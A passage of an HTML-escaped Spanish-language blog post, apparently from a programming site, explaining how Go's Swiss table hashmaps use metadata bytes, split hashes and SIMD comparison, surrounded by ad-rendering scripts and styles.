ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Cada lenguaje que vale la pena aprender tiene su propia implementación, ya sabes, la forma en que funciona &amp;ldquo;bajo el cofre&amp;rdquo;. Y la mayoría de los devs ni se preocupa por eso, lo cual está bien, yo apoyo las abstracciones de alto nivel.&lt;/p&gt;&#xA;&lt;p&gt;El punto es que, recientemente, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-maps-o-diccionarios/&#34;&gt;Go decidió cambiar su implementación por defecto de hashmap de Buckets a Swiss tables&lt;/a&gt;&#xA; buscando un mejor rendimiento &lt;del&gt;tratando de imitar el performance de Rust&lt;/del&gt;. Y esto ya &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.datadoghq.com/blog/engineering/go-swiss-tables/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;ha rendido frutos para algunas empresas ahorrándoles cientos de gigabytes&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Por cierto, fue Google quien creó las Swiss tables (bueno, uno de sus ingenieros), y también &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/apis-de-alto-rendimiento-go-lang-grpc-y-protobuffers/&#34;&gt;protobuffers y GRPC&lt;/a&gt;&#xA;. Siempre están mejorando el rendimiento de lo que ya existe.&lt;/p&gt;&#xA;&lt;h2 id=&#34;entonces-cual-es-la-gran-idea-detras-de-las-swiss-tables-todo-esta-en-la-metadata&#34;&gt;Entonces, ¿Cuál es la Gran Idea Detrás de las Swiss Tables? Todo Está en la Metadata.&lt;/h2&gt;&#xA;&lt;p&gt;Los hash maps tradicionales con &lt;strong&gt;open-addressing&lt;/strong&gt; guardan tus pares llave-valor en un gran arreglo. Cuando insertas un elemento, se hace un hash de la llave para encontrar su &amp;ldquo;asiento&amp;rdquo; en el arreglo. Si ese lugar ya está ocupado, vas buscando el siguiente espacio disponible, y así sucesivamente.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Slot 1&lt;/th&gt;&#xA;          &lt;th&gt;Slot 2&lt;/th&gt;&#xA;          &lt;th&gt;Slot 3&lt;/th&gt;&#xA;          &lt;th&gt;Slot 4&lt;/th&gt;&#xA;          &lt;th&gt;Slot 5&lt;/th&gt;&#xA;          &lt;th&gt;Slot 6&lt;/th&gt;&#xA;          &lt;th&gt;slot 7&lt;/th&gt;&#xA;          &lt;th&gt;slot 8&lt;/th&gt;&#xA;          &lt;th&gt;slot 9&lt;/th&gt;&#xA;          &lt;th&gt;slot n&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;→&lt;/td&gt;&#xA;          &lt;td&gt;→&lt;/td&gt;&#xA;          &lt;td&gt;→&lt;/td&gt;&#xA;          &lt;td&gt;→&lt;/td&gt;&#xA;          &lt;td&gt;↓&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;Libre&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;¿Y esto qué tiene de malo? En realidad, nada, salvo que en ciertos escenarios puede volverse un desastre. Para encontrar un elemento, o confirmar que &lt;em&gt;no&lt;/em&gt; está, quizá tengas que recorrer medio arreglo. Eso es lento.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Slot 1&lt;/th&gt;&#xA;          &lt;th&gt;Slot 2&lt;/th&gt;&#xA;          &lt;th&gt;Slot 3&lt;/th&gt;&#xA;          &lt;th&gt;Slot 4&lt;/th&gt;&#xA;          &lt;th&gt;Slot 5&lt;/th&gt;&#xA;          &lt;th&gt;Slot 6&lt;/th&gt;&#xA;          &lt;th&gt;slot 7&lt;/th&gt;&#xA;          &lt;th&gt;slot 8&lt;/th&gt;&#xA;          &lt;th&gt;slot 9&lt;/th&gt;&#xA;          &lt;th&gt;slot n&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;Libre&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Las Swiss Tables atacan este problema engorroso con una idea brillante: un arreglo separado de &lt;strong&gt;metadata&lt;/strong&gt;. Por cada espacio en el arreglo principal de datos, hay un byte correspondiente en el arreglo de metadata.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Este byte no es solo una &amp;ldquo;tombstone&amp;rdquo; o un flag de vacío; es un conjunto comprimido de información útil. La parte más crucial son los &lt;strong&gt;7 bits del hash de la llave&lt;/strong&gt; almacenados en ese slot.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Meaning Control bit&lt;/th&gt;&#xA;          &lt;th&gt;Control bit&lt;/th&gt;&#xA;          &lt;th&gt;Bit 1&lt;/th&gt;&#xA;          &lt;th&gt;Bit 2&lt;/th&gt;&#xA;          &lt;th&gt;Bit 3&lt;/th&gt;&#xA;          &lt;th&gt;Bit 4&lt;/th&gt;&#xA;          &lt;th&gt;Bit 5&lt;/th&gt;&#xA;          &lt;th&gt;Bit 6&lt;/th&gt;&#xA;          &lt;th&gt;Bit 7&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Vacío&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Lleno&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0x3A&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Borrado&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Esto cambia las reglas del juego. ¿Por qué? Porque para verificar si un slot podría contener tu llave, no necesitas tocar para nada el arreglo principal de datos. Primero puedes revisar la metadata. Esto es una ganancia enorme para el rendimiento.&lt;/p&gt;&#xA;&lt;div id=&#34;app-swiss-table&#34;&gt;&lt;/div&gt;&#xA;&lt;script type=&#34;module&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/raw/upload/v1760636200/coffee-bytes/index-CBAUHLL7_qlfk88.js&#34;&gt;&lt;/script&gt;&#xA;&#xA;&lt;h2 id=&#34;un-recorrido-paso-a-paso-por-la-estructura-de-datos-de-las-swiss-tables&#34;&gt;Un Recorrido Paso a Paso por la Estructura de Datos de las Swiss Tables&lt;/h2&gt;&#xA;&lt;p&gt;Bien, ya hablamos de la &amp;ldquo;magia esotérica&amp;rdquo; de la metadata. Pero, ¿cómo funciona paso a paso cuando insertas &lt;em&gt;my_app[&amp;ldquo;value&amp;rdquo;] = value&lt;/em&gt; y cuando preguntas por &lt;em&gt;my_map[&amp;ldquo;apple&amp;rdquo;]&lt;/em&gt;?&lt;/p&gt;&#xA;&lt;h3 id=&#34;insertando-una-llave-y-su-valor-en-una-swiss-table&#34;&gt;Insertando una llave y su valor en una Swiss Table&lt;/h3&gt;&#xA;&lt;p&gt;Cuando buscas una llave, el proceso general va así:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Se hace hash de la llave.&lt;/li&gt;&#xA;&lt;li&gt;Se decide el grupo o bucket usando h1.&lt;/li&gt;&#xA;&lt;li&gt;Se localiza el slot o bloque destino usando h2.&lt;/li&gt;&#xA;&lt;li&gt;Si el slot ya contiene nuestra llave, simplemente se actualiza.&lt;/li&gt;&#xA;&lt;li&gt;Si ningún slot contiene nuestra llave, se busca uno vacío.&lt;/li&gt;&#xA;&lt;li&gt;Si todos los slots están ocupados, saltas al siguiente grupo.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h4 id=&#34;hashear-la-llave&#34;&gt;Hashear la llave&lt;/h4&gt;&#xA;&lt;p&gt;Primero, la llave &amp;ldquo;apple&amp;rdquo; pasa por una función hash robusta. Esto produce un hash completo de 64 bits. Digamos que es algo como 0x5A3F9C42B1D08E3A (un número hermoso y aleatorio). Ahora, las Swiss Tables hacen un truco elegante: dividen este hash en dos partes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;57 bits (llamado h1)&lt;/li&gt;&#xA;&lt;li&gt;7 bits (llamado h2)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;H1&lt;/th&gt;&#xA;          &lt;th&gt;&amp;hellip;&lt;/th&gt;&#xA;          &lt;th&gt;H1&lt;/th&gt;&#xA;          &lt;th&gt;H2&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;10101110&lt;/td&gt;&#xA;          &lt;td&gt;&amp;hellip;&lt;/td&gt;&#xA;          &lt;td&gt;11100010&lt;/td&gt;&#xA;          &lt;td&gt;0x3A&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h4 id=&#34;decidir-el-grupo-inicial-usando-h1&#34;&gt;Decidir el grupo inicial usando h1&lt;/h4&gt;&#xA;&lt;p&gt;Los primeros 57 bits (0x5A3F9C42B1D08E&amp;hellip;): Esta parte del hash determina a qué grupo inicial o &amp;ldquo;bucket&amp;rdquo; pertenece la llave.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0x5A3F9C42B1D08E % &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;localizar-el-bloque-destino&#34;&gt;Localizar el bloque destino&lt;/h4&gt;&#xA;&lt;p&gt;Los últimos 7 bits bajos (0x3A): Este es el &amp;ldquo;probe index&amp;rdquo;. Le dice al mapa en cuál de los 8 o 16 slots (o &amp;ldquo;bloques&amp;rdquo;) empezar a buscar.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;recuperar-el-valor-de-una-llave&#34;&gt;Recuperar el valor de una llave&lt;/h3&gt;&#xA;&lt;p&gt;Cuando buscas una llave, el proceso general va así:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Se hace hash de la llave.&lt;/li&gt;&#xA;&lt;li&gt;Se decide el grupo o bucket usando h1.&lt;/li&gt;&#xA;&lt;li&gt;Se localiza el slot o bloque destino usando h2.&lt;/li&gt;&#xA;&lt;li&gt;La CPU toma los 7 bits (h2) del hash de nuestra llave y los carga en un registro especial.&lt;/li&gt;&#xA;&lt;li&gt;Luego compara este único valor contra &lt;strong&gt;todos los 8 o 16 bytes de metadata&lt;/strong&gt; del bloque destino—&lt;strong&gt;al mismo tiempo&lt;/strong&gt;. Esto se hace usando instrucciones SIMD (Single Instruction, Multiple Data), básicamente paralelismo.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Ahora te explico los pasos.&lt;/p&gt;&#xA;&lt;h4 id=&#34;encontrar-el-bloque-usando-el-hash-de-7-bits&#34;&gt;Encontrar el bloque usando el hash de 7 bits&lt;/h4&gt;&#xA;&lt;p&gt;El mapa toma los 7 bits (h2) del &amp;ldquo;probe index&amp;rdquo; (0x3A) y los usa para ubicar el bloque específico de 16 slots donde debería estar &amp;ldquo;apple&amp;rdquo;. Este cálculo es increíblemente rápido.&lt;/p&gt;&#xA;&lt;h4 id=&#34;usar-simd-para-comparar-los-slots&#34;&gt;Usar SIMD para comparar los slots&lt;/h4&gt;&#xA;&lt;p&gt;Este es el paso SIMD que nos encanta. La CPU carga los 16 bytes de metadata de ese bloque. Para cada byte, revisa dos cosas:&lt;/p&gt;&#xA;&lt;p&gt;¿El slot está ocupado? (Un bit especial en el byte de metadata lo indica).&lt;/p&gt;&#xA;&lt;p&gt;¿El fingerprint de 7 bits (h2) en la metadata coincide con nuestro fingerprint (0x3A)?&lt;/p&gt;&#xA;&lt;p&gt;Hace esto para los 16 slots A LA VEZ. Y aquí es donde sucede la magia, te lo explico enseguida. El resultado es un &lt;strong&gt;bitmask&lt;/strong&gt; de posibles candidatos.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h4 id=&#34;manejar-colisiones-si-existen&#34;&gt;Manejar colisiones si existen&lt;/h4&gt;&#xA;&lt;p&gt;&lt;strong&gt;Un fingerprint de 7 bits coincidente no significa que las llaves sean iguales&lt;/strong&gt;; solo significa que &lt;em&gt;podrían&lt;/em&gt; serlo. Es un pre-filtro. Está diseñado para ser rápido, no perfecto. El hash completo de 57 bits (h1) (y eventualmente la comparación real de la llave) es el árbitro final.&lt;/p&gt;&#xA;&lt;p&gt;Si hay coincidencias (por ejemplo, los slots 2 y 9 tienen el mismo fingerprint de 7 bits (h2) y están ocupados, o sea, ocurrió una colisión), el mapa finalmente va al arreglo principal de datos. Pero ya no está adivinando. Va directo a los slots 2 y 9 y realiza la comparación completa: stored_key == &amp;ldquo;apple&amp;rdquo;? Esta es la única operación costosa, y la has reducido a una o dos verificaciones. Con suerte no tendrás más de dos colisiones.&lt;/p&gt;&#xA;&lt;h4 id=&#34;recuperar-el-valor-de-la-llave&#34;&gt;Recuperar el valor de la llave&lt;/h4&gt;&#xA;&lt;p&gt;Finalmente, si la llave coincide completamente, se devuelve el valor. Si no, o si el paso SIMD no encontró candidatos, &lt;strong&gt;puede afirmar con confianza que la llave no está en el mapa&lt;/strong&gt;. Esta última parte—la búsqueda negativa—es donde las Swiss Tables aplastan a los mapas tradicionales que tienen que recorrer largas secuencias de búsqueda.&lt;/p&gt;&#xA;&lt;h2 id=&#34;por-que-son-tan-rapidas-las-swiss-tables-simd-y-el-bloque-de-16-slots&#34;&gt;¿Por Qué son Tan Rápidas las Swiss Tables? SIMD y el Bloque de 16 Slots&lt;/h2&gt;&#xA;&lt;p&gt;Aquí es donde entra el verdadero genio. Las CPUs modernas no necesitan revisar las cosas byte por byte. Son sorprendentemente buenas haciendo operaciones en paralelo. Las Swiss Tables están diseñadas para aprovechar esto agrupando slots en bloques (normalmente de 16).&lt;/p&gt;&#xA;&lt;p&gt;En una sola operación &lt;del&gt;súper rápida&lt;/del&gt;, la CPU crea un bitmask. Un &lt;em&gt;1&lt;/em&gt; significa &amp;ldquo;el fragmento del hash coincide&amp;rdquo;, un &lt;em&gt;0&lt;/em&gt; significa que no. Solo &lt;em&gt;después&lt;/em&gt;, para los slots que podrían coincidir, el código realmente va al arreglo principal de datos para hacer la comparación completa de la llave.&lt;/p&gt;&#xA;&lt;p&gt;Esta es la característica estrella de las Swiss Tables. Minimiza los costosos accesos a memoria y aprovecha la capacidad de procesamiento paralelo de la CPU.&lt;/p&gt;&#xA;&lt;p&gt;Hace que las búsquedas, especialmente de llaves inexistentes, sean rapidísimas. No estás recorriendo una cadena ni una larga secuencia de probes. Lo que, como sabes, impacta el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/la-notacion-big-para-analisis-algoritmico/&#34;&gt;rendimiento en notación Big O&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;por-que-deberias-preocuparte-las-ventajas-de-las-swiss-tables&#34;&gt;¿Por Qué Deberías Preocuparte? Las Ventajas de las Swiss Tables&lt;/h2&gt;&#xA;&lt;p&gt;Esta arquitectura no es solo un ejercicio académico aburrido. Se traduce en beneficios reales y tangibles que los devs más ñoños verán reflejados en sus aplicaciones &lt;del&gt;transformando un 0.0004s en un 0.00002s de ejecución&lt;/del&gt;. Según la página oficial de Go, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://go.dev/blog/swisstable&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;el rendimiento aumentó alrededor de un 63% comparado&lt;/a&gt;&#xA; con la implementación de Buckets.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;1. Búsquedas Rapidísimas:&lt;/strong&gt; La combinación del filtro de metadata y SIMD hace que las operaciones &lt;em&gt;find()&lt;/em&gt; y &lt;em&gt;contains()&lt;/em&gt; sean significativamente más rápidas que en la mayoría de los mapas tradicionales. No es un margen pequeño; estamos hablando de múltiplos en muchos benchmarks.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;2. Uso de Memoria Súper Eficiente:&lt;/strong&gt; Las Swiss Tables suelen implementarse como estructuras &amp;ldquo;planas&amp;rdquo;. Esto significa que guardan llaves y valores directamente en el arreglo, no como nodos separados asignados en memoria. Esto mejora muchísimo la &lt;strong&gt;localidad de caché&lt;/strong&gt;—los datos que necesitas probablemente ya están en la caché rápida del CPU (ya sabes: L1, L2, L3)—y evita la sobrecarga de memoria de los punteros usados en implementaciones encadenadas. Esto las hace superiores en uso de memoria frente a otras implementaciones de hashmaps.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;3. Redimensionamiento Más Inteligente:&lt;/strong&gt; El arreglo de metadata hace que la lógica de control interna sea mucho más inteligente. El mapa puede tomar mejores decisiones sobre cuándo rehashear y cómo distribuir los elementos, manteniendo un rendimiento más consistente a medida que aumenta el &lt;strong&gt;load factor&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;ok-pero-que-hay-de-las-desventajas-de-las-swiss-tables&#34;&gt;Ok Pero, ¿Qué Hay de las Desventajas de las Swiss Tables?&lt;/h2&gt;&#xA;&lt;p&gt;No todo es miel sobre hojuelas, claro, en tecnología todo es un trade-off. El arreglo separado de metadata consume memoria extra (aprox. 1/16 a 1/8 del arreglo principal), lo que por lo general es un excelente intercambio porque la memoria es uno de los recursos más baratos.&lt;/p&gt;&#xA;&lt;p&gt;Además, la implementación es compleja pero, afortunadamente, eso no te involucra a ti, porque la vas a usar igual que siempre la has usado.&lt;/p&gt;&#xA;</content:encoded>
